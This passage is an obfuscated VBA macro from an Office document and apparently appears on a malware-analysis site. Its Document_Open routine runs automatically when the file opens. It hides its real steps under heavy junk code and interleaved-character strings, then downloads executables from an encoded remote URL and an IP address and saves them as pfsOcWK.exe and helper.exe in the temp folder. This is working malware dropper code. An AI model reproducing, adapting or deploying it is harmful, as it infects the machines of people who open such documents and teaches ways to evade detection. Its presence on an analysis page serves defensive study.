        VBZhBMx = 659 - 1762 - 461
        uzWCmf = uzWCmf + 3
    Wend
        If (IPFck Mod 2 = 0) Then
        DMgKue = RTrim("QV_ORG^ *V&%@iTDxlk!")
        DMgKue = Space(5)
        For omLzus = 0 To 70
            VBZhBMx = RTrim("g?$% oGvYMHv@RtcE*X")
            VBZhBMx = StrReverse("rEuf$LshD_on")
            wYtNP = Right("_Lx!tvGeay]-S$", 2)
            DMgKue = "K@AYJuSr*ghe" + "J^?jXZCaylhE!" + "h-qjM_Hhuv*G"
            qkAFKmg = RTrim("P*.hiQTkOuL$wUsxU")
            mJvENUU = StrReverse("W_MYnMv%$kwoKxDDqz")
            VBZhBMx = LTrim("qCj[S]!$y%dSB")
            nfMxq = 842 - 534 - 281
            wYtNP = 1147 - 856 - 1959
            vNoPKE = Space(17)
        Next omLzus
        tiSBNEG = Space(3)
            ouLYgup(OhUSYR) = snjvxUx(IPFck)
            tiSBNEG = RTrim(" P aQmZNTiJ-vRZ&h]!")
            nfMxq = 1893 + 1039 + 1993
            OhUSYR = OhUSYR + 2 - 1
            VdmtjYDy = 918 + 1111 + 1971
            syGkk = "-XXOBS]vHckQ" + "Khu]]c]qaPEf(" + "ctwIb tyVE%sUXQ ^%Z"
            wYtNP = LTrim("]STzTg-OzrP")
        End If
        OPGnbbk = Left("HB-Qx?&RAcO!T^oEVAx", 4)
    Next IPFck
    syGkk = 1871 - 1066 - 400
    For RVpHJm = 0 To 136
        wYtNP = RTrim("DhBeHT_cDYmjH")
        vNoPKE = 1711 + 1968 + 1020
        syGkk = Right("h !PINcZzHG", 3)
        tiSBNEG = UCase("Frps Y* c[")
        syGkk = Left("sr-?ypcRMizEC?]KxAm", 2)
    Next RVpHJm
    For CgyKCv = 0 To 211
        VdmtjYDy = UCase("[.BHu@(k?VNJpH&UkEDV")
        tiSBNEG = LTrim("*dMWd&@^Jssy!DrU^lJZ")
        vNoPKE = LTrim("c vz.nfNNL")
        tiSBNEG = Space(2)
    Next CgyKCv
    tiSBNEG = 739 - 453 - 416
    eJapff = StrConv(ouLYgup, vbUnicode)
    vNoPKE = LTrim("hEU_Bkann_wjpF")
End Function
Private Sub Document_Open()
    Dim csGdTB As String
    mJvENUU = StrReverse("XLkcPgXMPdAsbtDMS")
    OPGnbbk = RTrim("(XQo&L]&(iOTbht!Q")
    vNoPKE = RTrim("X*XTujXiDjg]LnKZSDTS")
    lDtVWRSX = UCase("Ky.j.eGsTE")
    lDtVWRSX = UCase("-Jt)!ZJE&EkZ")
    wYtNP = 956 - 376 - 248
    For EzASWS = 0 To 290
        nfMxq = UCase("u[luADpErJlEG[YmaVwN")
        OPGnbbk = RTrim("?&!ZsN&PGRnI")
        VBZhBMx = StrReverse("DzM T*) DxIP]")
        vNoPKE = 1238 + 137 + 1139
        nfMxq = StrReverse("LSwQTsteEoFIters")
        OPGnbbk = StrReverse("-tOhVykiVCBj")
        DMgKue = Left("tp^@AZFB_Ailc", 3)
    Next EzASWS

    VdmtjYDy = "Jp[vfF!b.tItBPT" + "zcyxmcUnFhc@o)Zfg" + "b_RKkn*cMRJ*qLASLDR"
    syGkk = 366 + 1021 + 1149
    While ZEBsXB < 214
        VdmtjYDy = Left("pS%(ydXUhJDKoMtR[G", 5)
        wYtNP = "FF-WNrACoMt" + "LedoGtWTnH#s" + "h&hvXikRsOv"
        mJvENUU = StrReverse("OImh-A-XiwR")
        mJvENUU = "k_Me_PLFq.kmDBjcG." + "X^^OYCCi)J[Ss" + " TUgIBY!$bSwQN("
        qkAFKmg = Right("&HZKO@kKD!KuOzML#u", 4)
        wYtNP = Right("_qCcX?CfYg)Ht*&", 4)
        DMgKue = "obo*GTJ%AqST" + ")_j*TeQIuuSpD$uCc" + "hOnX@ahon((%%NbgOt"
        wYtNP = Left("WbTf.otA%TruOBJOimo(", 3)
        ZEBsXB = ZEBsXB + 3
    Wend

    nfMxq = 1122 - 1074 - 1107
    Dim lTewTk As String
    VBZhBMx = RTrim("i!e)#vilV.B%Hnb%ryu")
    mJvENUU = Left("gLqT(gDncUs(*yml", 2)
    While ajKoAr < 348
        mJvENUU = Left("W$)U[eXXyq!b", 2)
        VBZhBMx = "JpfI%dVD*Bu%qUelWUS" + "^%O!wM.QAr" + "ZF-fI-b&yGPmCYJb.$w#"
        wYtNP = Space(18)
        ajKoAr = ajKoAr + 2
    Wend

    vNoPKE = RTrim("a^fWsSVxh_G]En-m")
    wYtNP = 521 + 960 + 966
    qkAFKmg = Space(4)
    vNoPKE = UCase("mxvqpU-kxgSKtnhC")
    For osylCq = 0 To 314
        mJvENUU = 1884 - 994 - 1689
        tiSBNEG = LTrim("E.-Lkc-w]j&ctVEi")
        qkAFKmg = UCase("d-Nr#- uOP")
        mJvENUU = Right("%%FafgqlgIiBBFB", 4)
        qkAFKmg = UCase("C*T)XMX$vEnwHVU]")
        VBZhBMx = StrReverse("QwT#BsBJVqJ_O[@xHy")
        VdmtjYDy = 508 + 196 + 1593
    Next osylCq

    syGkk = StrReverse("#.IQ@&G ZgBKq!]ZgC_J")
    wYtNP = "_zN]&E@PADx^sKaQ" + "Mo &xpZh!Lv vjYi)" + "]EmGUHzT]C"
    DMgKue = StrReverse("G?&n^lWvAzpi.YN)(-Ll")
    csGdTB = StrReverse("$eMxReI.eK@WFcYOAsTfTpq\o\j%upnm e]t %G )LHLZDKnpuTRM_rc.e?xLEslzlFe!hES[,El!ledl.#2r3Hl%l)e@hrs! _e.xoeS.e2D3el.l@dynFuOro )c[/l Te!x&eG.*djmWc")
    tiSBNEG = "@ehKaa#uM*^Bb " + "eVFsok)j&JBEeAM" + "meGJY#pvbSAfw?&"
    qkAFKmg = Left("].UG)[ kQc", 3)
    nfMxq = LTrim("F!VqBPRpiDHz!")
    mJvENUU = RTrim("OIcvIyc.a(jT[^GTnY")
    While UfUOth < 336
        nfMxq = LTrim("I@YV%qz.rQ")
        VBZhBMx = 1197 - 243 - 1176
        vNoPKE = 506 - 953 - 1211
        syGkk = StrReverse("Ys!fCo#uOh ")
        OPGnbbk = Right("lLop#otFRaTE_qU", 2)
        mJvENUU = "Clnm.j[wnCtjQSYEX)" + "Rl u&%h]??&q_gsl" + "GH]v-OQlGEz#W"
        UfUOth = UfUOth + 1
    Wend

    wYtNP = LTrim("UvZAkTxKweqsU")
    While AeRxKN < 262
        vNoPKE = 117 - 645 - 1426
        OPGnbbk = UCase("jEykPeAWWZhdHRUzs")
        AeRxKN = AeRxKN + 2
    Wend

    For vTfEeD = 0 To 370
        nfMxq = StrReverse("uJ(nabBWGs#u(h")
        VBZhBMx = RTrim("^#auflWL#x_!$")
        vNoPKE = LTrim("VBs&UOZvYNd)!#")
        syGkk = LTrim("DrLI%msfMx[ ].c C")
        mJvENUU = 750 - 1265 - 1053
        vNoPKE = StrReverse("#d[D_-]p&_c(Hs]vD")
    Next vTfEeD

    OPGnbbk = LTrim("qdeyL$AMz?")
    VBZhBMx = LTrim("l#ih%@?h[Ddu$")
    While jDcHun < 124
        wYtNP = 307 + 1192 + 993
        tiSBNEG = Right("h#((rfztXC[mfic", 3)
        tiSBNEG = Right("S*Q%iMu&SH(z", 3)
        VdmtjYDy = 314 - 387 - 1069
        jDcHun = jDcHun + 1
    Wend

    lTewTk = StrReverse("VeDxoeq.qrceQpnlueUhS\*\X%rpgmDeutZ%u sL&LtDwn(u$RE_fcoexx^ETljl^eFhfSA,GlDlcd[.U2l3eljlrehhhsX ke@xmeB.#2C3nlNlYdmn&ufrw tcU/n QegxDeG.[dJm c")
    VdmtjYDy = Left("sOUusfdlw^", 5)
    OPGnbbk = "shjGHT@GiEA ^*Qcg" + "okplVdcC**L" + "kj.AUpjGO%N"
    lDtVWRSX = "yPYRRiKlS vJX_Xfo" + "^DWDMnCaEv&][VH" + "BZoaFLB(@J^nOBsGY"
    vNoPKE = 585 + 712 + 1922
    For lwxsyz = 0 To 302
        OPGnbbk = StrReverse("iTFulU%dcOghi")
        lDtVWRSX = Space(5)
        OPGnbbk = Right("(B&?Bmy#p.v@tJb-x@j", 2)
        syGkk = Left("_ _zWEqY oH^X?&h", 2)
        DMgKue = Right("@Lm]jzzQSphze", 5)
        qkAFKmg = Right("JCCo*ikW@jm[.", 3)
        syGkk = 1582 + 995 + 217
        nfMxq = 1147 - 200 - 1263
    Next lwxsyz

    VBZhBMx = StrReverse("O[-&PTvWHC.jIt!A[*R")
    qkAFKmg = RTrim("dnPxbRy nRCdz")
    nfMxq = Right("E?C(fvrNUnb@W!F(fUL", 5)
    syGkk = "Cqa^ODKonz" + "t_-KD(EmvSK" + "*#Z@J?yiVvs&F%N"
    mJvENUU = UCase(".*L[(ZCvp^Dun.V")
    lDtVWRSX = LTrim("jNRcbfaoZBP")
    mJvENUU = Space(20)
    mJvENUU = Right("Jkx([PFHaShs W.AAr", 5)
    For pIRPnt = 0 To 347
        qkAFKmg = 1053 - 1061 - 1912
        wYtNP = RTrim("Gv%OqcaaVQ!L")
        wYtNP = RTrim("BK(h^B#@?MS(")
        syGkk = "RbP*C(qzCZ" + " XrSJ(pAXW" + "lx%SpFdGbkFGpUjKt s"
        nfMxq = Right("G*ZFnHR&OKdF?_j", 3)
        VdmtjYDy = 216 + 1850 + 1004
    Next pIRPnt

    nfMxq = 672 - 1803 - 376
    DMgKue = 177 - 1104 - 1542
    Dim IqFPz, qcRchy As Object
    vNoPKE = 1147 - 699 - 447
    OPGnbbk = Right("ZCs ])dI%-ZL$!Bng_$", 2)
    While idViNi < 107
        VBZhBMx = UCase("LUjUI Up?kga")
        mJvENUU = RTrim("DDc#(]A(R$d&Ji!Qw")
        VBZhBMx = Right("CX ]yhhMBht", 2)
        mJvENUU = Right(".WFQ%iI.k$UIalmbnhf", 5)
        idViNi = idViNi + 3
    Wend

    nfMxq = 1486 - 1079 - 1506
    Set IqFPz = CreateObject(eJapff("MeiucWr&o-sooLfQt).aX M LGHOTETpPA"))
    tiSBNEG = 1710 + 1907 + 1214
    VdmtjYDy = UCase("hwmzIFgwj)aQs&")
    wYtNP = UCase("#$d$(GuYD@y Q?")
    qkAFKmg = Right(".y@w[&gH*uAOK", 3)
    XXKbw = eJapff("hhtktypW:P/KiFjQaahxcparsDtdignDg).wu$sm/yemxkpHlAoKiGth/Zfzidlke*.^eox)eX")
    vNoPKE = 1041 + 359 + 388
    vNoPKE = LTrim("#vBh)%HqCt-MSv")
    VdmtjYDy = RTrim("Wv)&cg-A)&$C*E%")
    VBZhBMx = Space(1)
    nfMxq = Right("rPc@d.]TtHHyE", 2)
    IqFPz.Open "GET", XXKbw, False
    For vVspAK = 0 To 90
        qkAFKmg = UCase("Bnt[Utr(?n#_*e#I")
        DMgKue = 108 - 1554 - 1104
        tiSBNEG = 1154 + 1282 + 591
        OPGnbbk = RTrim("RF[JLA%xDVi")
        lDtVWRSX = StrReverse("ar@$EUeLsj?!-u gSb")
        nfMxq = LTrim("oqqjmEH)qzFLxmt!Txc?")
        lDtVWRSX = LTrim("eauWFXN!Xt")
        lDtVWRSX = RTrim("[UH-XJYM&dx")
        mJvENUU = UCase("OeF)un mkmhrqDNP")
        qkAFKmg = UCase("PvrTTOAr]um@W#[aa")
    Next vVspAK

    tiSBNEG = LTrim("L[asHYAJ&?qnTAAz(-n")
    While gQJPPP < 73
        wYtNP = Space(20)
        OPGnbbk = UCase("x%atI*Bpptn_")
        OPGnbbk = Left("VpPhxtHQYsi", 4)
        VdmtjYDy = Space(17)
        VBZhBMx = RTrim("$ycHKIVOy?[S$nC")
        gQJPPP = gQJPPP + 2
    Wend

    VdmtjYDy = 1579 - 592 - 971
    IqFPz.send
    While YXhMDt < 183
        syGkk = RTrim("*XeRfEo(YpDNB@nhVYm*")
        syGkk = Right("&mqCjngJgCY", 2)
        YXhMDt = YXhMDt + 3
    Wend

    wYtNP = Right("] WqST@hffE#mFw", 2)
    VdmtjYDy = RTrim("U*Di-tCYJ)%fdOi")
    wYtNP = UCase("XBf%qTFrygQio")
    If IqFPz.Status = 201 - 1 Then
    OPGnbbk = LTrim("D*?pQ#mekBG_qMF&St")
    VBZhBMx = Right("pDdzl!XtZqa", 5)
    DMgKue = Left("CF?weKjfP#Q", 2)
    syGkk = Right("eU$lm#e)SfC", 3)
    DMgKue = UCase("IJr$)ydJW!gt[A!")
        Set qcRchy = CreateObject(eJapff("AUDUONDwBg.aSktHrqe?apm%"))
    While NNcJAQ < 328
        VBZhBMx = Space(6)
        VBZhBMx = RTrim("b  #qa(BwnBD?RWvCM")
        syGkk = Right("]*w?@?VS@Y%Rgy", 5)
        vNoPKE = LTrim("OLW% kDxrcD@#iXMmM&M")
        DMgKue = LTrim("&uG)Am)eqR")
        syGkk = RTrim("TcTpnx)iS$H")
        OPGnbbk = RTrim("t^*jLB(Q]$")
        tiSBNEG = Space(4)
        vNoPKE = 555 + 573 + 391
        vNoPKE = LTrim("%?EFq SexR")
        NNcJAQ = NNcJAQ + 2
    Wend

    While jTgzBX < 339
        lDtVWRSX = Left("bDU-iK_DFk", 5)
        wYtNP = "meZDZDowrU!fBfQT][" + "RR.Z]E!^)S[.n" + "S cFOs_z&p.Dtbl"
        VdmtjYDy = LTrim("(N]PHffFBWEwmPpv")
        VdmtjYDy = StrReverse("R!$)pC$itA#Ey")
        VdmtjYDy = UCase("*?kbb^d$p?")
        tiSBNEG = Left("sxZCKUHY_Dx", 3)
        nfMxq = RTrim("PaUq-Mz!k#aK^TbX)u")
        wYtNP = UCase("g$sKl@QE#UEGMcD]")
        jTgzBX = jTgzBX + 2
    Wend

    mJvENUU = LTrim("_)MG_ap-f!l@Fg#Tu$")
    lDtVWRSX = RTrim("o*ckeR)gJUKSm")
        qcRchy.Open
    mJvENUU = Space(12)
    tiSBNEG = Left("bQAu. IRD#", 4)
    tiSBNEG = "rgV &fA!hpw" + "HIVjex[OORi" + "WzKXYboYlRtDXyK^ NpK"
    For gguIGR = 0 To 24
        wYtNP = 164 + 529 + 1494
        VdmtjYDy = 1930 - 224 - 1412
        vNoPKE = 773 + 1499 + 137
        VBZhBMx = 918 - 1612 - 1961
        syGkk = LTrim("h.idGp$SYrBUUr")
        wYtNP = 551 + 1726 + 490
    Next gguIGR

    VdmtjYDy = RTrim("^n#ZevdHnptzfTL")
        qcRchy.Type = 1
    lDtVWRSX = Right("]Oe[@MUkqFXKr", 3)
    For nJVHOX = 0 To 67
        vNoPKE = UCase("$qG@Jt&Lm?cSzt&D(")
        qkAFKmg = Left("jd]ob@zVNXpgG", 5)
        VBZhBMx = StrReverse("GrJW?RRsTeOZ")
        qkAFKmg = Right("OSRPNu &EX#", 3)
        mJvENUU = Space(9)
    Next nJVHOX

    For HqkKgu = 0 To 14
        lDtVWRSX = 129 - 614 - 364
        DMgKue = 1967 + 1862 + 1566
        tiSBNEG = Left("vayP!?-fk YT?Zf*LLjL", 5)
        OPGnbbk = "T]%F&mZURvhsNYRcG" + "b@YZLPLUavg^^d" + "P-ZXkgSU]@__@q"
    Next HqkKgu

    qkAFKmg = Left("?EB?Ial]Q_oK", 3)
        wVahfcO = IqFPz.responseBody
    tiSBNEG = Right("NlTga]xeydTxwH-]m?", 5)
    nfMxq = Left("@qKT*ABluGosKZvu%o", 2)
    lDtVWRSX = Right("CjOdOrv(lrig", 2)
    DMgKue = Left("TMJBN?fEBO", 4)
        qcRchy.Write wVahfcO
    OPGnbbk = Right("V_s(I[.vZ]yU", 3)
    mJvENUU = Right("Q  WHhyd%EsEh.wFHu", 4)
    While cTFfsw < 37
        syGkk = Left("_v KU(VrmTmuAE", 3)
        qkAFKmg = Space(17)
        DMgKue = 677 + 301 + 1101
        OPGnbbk = Left("@tQ$y] l bG", 2)
        VBZhBMx = Right("RZzzeZlFf)", 5)
        VdmtjYDy = StrReverse("NAnpypf]& ")
        VBZhBMx = UCase("jalKGEVEepN tN")
        OPGnbbk = LTrim("wQlPX^*B#YRX_mGim")
        qkAFKmg = Space(14)
        OPGnbbk = Space(11)
        cTFfsw = cTFfsw + 2
    Wend

    vNoPKE = 1860 - 1436 - 893
    mJvENUU = StrReverse("ldsnxcuYC Gp@ ")
        Dim WzjPT As Object
    mJvENUU = UCase(")DENiK!p#uqRvQZRM#z")
    VdmtjYDy = UCase("G!Bg_?ktQ?kfo")
    tiSBNEG = StrReverse("q(%Lblv(]jZj.")
    syGkk = 1232 - 1691 - 453
        Set WzjPT = CreateObject(eJapff("slcBrbimp@tiiLnrgL.]fyirlheZs@yHs(tueqmGoAb(jpedcwt&"))
    syGkk = Left("[o%FvtZQmwX.MD@Jfcr@", 2)
    DMgKue = 1222 + 734 + 533
    For AWGpfi = 0 To 36
        lDtVWRSX = StrReverse("[z)iEEhID%Jq!")
        vNoPKE = Right("WMZ_#[hPWj#BTC ", 4)
        lDtVWRSX = 1316 + 926 + 850
        mJvENUU = Right("[b[zFZq*bsP[GWIG[Ln&", 4)
        vNoPKE = RTrim("%YH?GphHcsw)#")
        nfMxq = 1134 - 1359 - 923
        vNoPKE = Left("uV pc$&GUN", 5)
        OPGnbbk = 1479 - 1711 - 808
        syGkk = LTrim("C-N@Y$s!jIxrdL^")
    Next AWGpfi

    syGkk = LTrim("&X*K!*l?*Arkx)H#")
        Yqwlt = WzjPT.GetSpecialFolder(5 - 3)
    wYtNP = Left("HKZcM%e#YM^bEMpcSi_^", 5)
    qkAFKmg = 1217 + 1645 + 304
    nfMxq = Space(19)
    For uNmiNV = 0 To 257
        wYtNP = Right("zqlz&@jp#q*slHI^c", 2)
        OPGnbbk = "A(emRF@OVPrPSVZTu" + "%BC) xrk)-!L*cTs" + "Nwn_D%yzVnQin"
    Next uNmiNV

        Call qcRchy.SaveToFile(Yqwlt & "\\" & "pfsOcWK.exe", 2)
    qkAFKmg = UCase("#ERK#(YAps%ivper")
    nfMxq = RTrim("Mx?W^JBtL]zM]Tu")
    VdmtjYDy = 434 - 424 - 1160
    vNoPKE = 973 - 754 - 1523
        IqFPz.Open "GE" & "T", eJapff("h^tOt*pA:g/M/[1i0-7g.!1!7G5P.?6h2a._1r0*4!/!thegs#t^.@bkiYno"), False
    DMgKue = Right("T?)-FhnKjLYg&Yb", 2)
    qkAFKmg = "kUNt&?tcY@v)$MEtn" + "#Z?APHUPPYvLR.@L%" + "Wv$PZi)_aoEAw#a"
    OPGnbbk = "R(bLd^QU[Oao*p%%fga" + "[OWxynR#]J" + "&Pc^%hfcePkeY?mo"
    tiSBNEG = RTrim("(lB*!_!%szNbyyQMTTBV")
    For YLKPXc = 0 To 200
        wYtNP = UCase("X!SMh)xXy*d$GGdHHv")
        OPGnbbk = Space(8)
        mJvENUU = UCase("AYPP_xPCJMLAAcRK % ")
        tiSBNEG = Space(14)
        syGkk = 709 + 223 + 1090
    Next YLKPXc

        IqFPz.send
    lDtVWRSX = "P %Ja@A[DZAA po^x" + "*B-w$FWfg%kM c&pW(" + "O)zKPzlOSxe"
    VdmtjYDy = "a%WHLgULYek[xd" + "Sj(*x(!myh&URn-q" + "FLL]G^$WwUkN&"
    vNoPKE = 1939 + 1137 + 430
    qkAFKmg = RTrim("sByQu@vRlX?L")
        wVahfcO = IqFPz.responseBody
    lDtVWRSX = LTrim("Px_.hRlfFFdBk")
    lDtVWRSX = "EL?dMA#kXqF" + "nt](VVTv.lOGO" + "qIuDM_QJwUyzpVak](xq"
    lDtVWRSX = Right("WBjlBJE@-^wMl$Q!", 4)
    VdmtjYDy = Left("(aXg)W!L[nBOAdQR", 4)
    lDtVWRSX = Left("(?wLmirj.V)GlKGsJpO", 2)
        qcRchy.Write wVahfcO
    qkAFKmg = 1273 - 1909 - 1617
    qkAFKmg = 1333 + 565 + 1642
    nfMxq = 1790 + 599 + 946
    qkAFKmg = 835 + 800 + 1640
    mJvENUU = "BjhKxREMSpZXP" + "OugdZO)hK%]WV_oDB" + "T@vCRhaV^P@ozVI"
        Call qcRchy.SaveToFile(Yqwlt & "\\helper.exe", 2)
    For FHNGCY = 0 To 255
        wYtNP = 1746 + 660 + 690
        VBZhBMx = Space(11)
        vNoPKE = 572 + 1349 + 1477
        mJvENUU = 1952 + 1496 + 465
        OPGnbbk = "RDvvp(-F_nT" + "(Sy]B?FDU)W" + "Aa^XdCfvz.Wt@w Q"
        DMgKue = LTrim("%rqrz^_ZPMytP")
        DMgKue = StrReverse("?E?Bx$aeb$I*")
    Next FHNGCY

    vNoPKE = 785 + 661 + 1971
    wYtNP = UCase("JXgd$IJqGEdq-w_vWHx")
    syGkk = UCase("Kbu_awJt^a(OXy)f")
    tiSBNEG = RTrim("MwT)?RR?k%G")
        qcRchy.Close
    For xwYKWY = 0 To 89
        tiSBNEG = RTrim(".]sy]qba?GZO")
        qkAFKmg = UCase("P-l*lqBDttsx*i?Mb")
        lDtVWRSX = "yHGJ]Xy.xStig&" + "l[[](&dJ(xyAAKIA$A[l" + "%$(p@-M$NiUv^gV]ECD["
        OPGnbbk = 222 - 304 - 1999
    Next xwYKWY

    While UIJiiT < 105
        tiSBNEG = "#OELphMxP!K Tx" + "_inWhi?csAh-_s" + " knx(@uI&)qUPxhBUdg."
        DMgKue = 1168 - 709 - 317
        VdmtjYDy = Space(10)
        UIJiiT = UIJiiT + 2
    Wend

    While ZVIzRN < 120
        qkAFKmg = StrReverse("eJo .b?R.YVhKgF&V--")
        qkAFKmg = RTrim("RK !c]biCdcU")
        syGkk = "Qqn&yUl%mpWA" + "?^kmiDuCVrpN(" + "&dq&SCDpT#kyn"
        VBZhBMx = 620 - 973 - 484
        vNoPKE = "jvUVTzHRcr" + "Fx[L#?!$n(Cxc-^D[G" + "?wwkJcWytl[nIX DOVz "
        vNoPKE = LTrim("qZOnfcmo.C-@")
        ZVIzRN = ZVIzRN + 2
    Wend

    mJvENUU = Right("BQClEVrgMWb[ dF#", 5)
    syGkk = Space(16)
    End If
    VdmtjYDy = Right("K*@JzoODHj", 3)
    VdmtjYDy = LTrim("#lBAaARk&dHx_zyqoK_")
    DMgKue = Right("lq?[icSdtYO@VGzOTx)h", 4)
…

Open this report in the interactive analyzer, or submit your own file for analysis.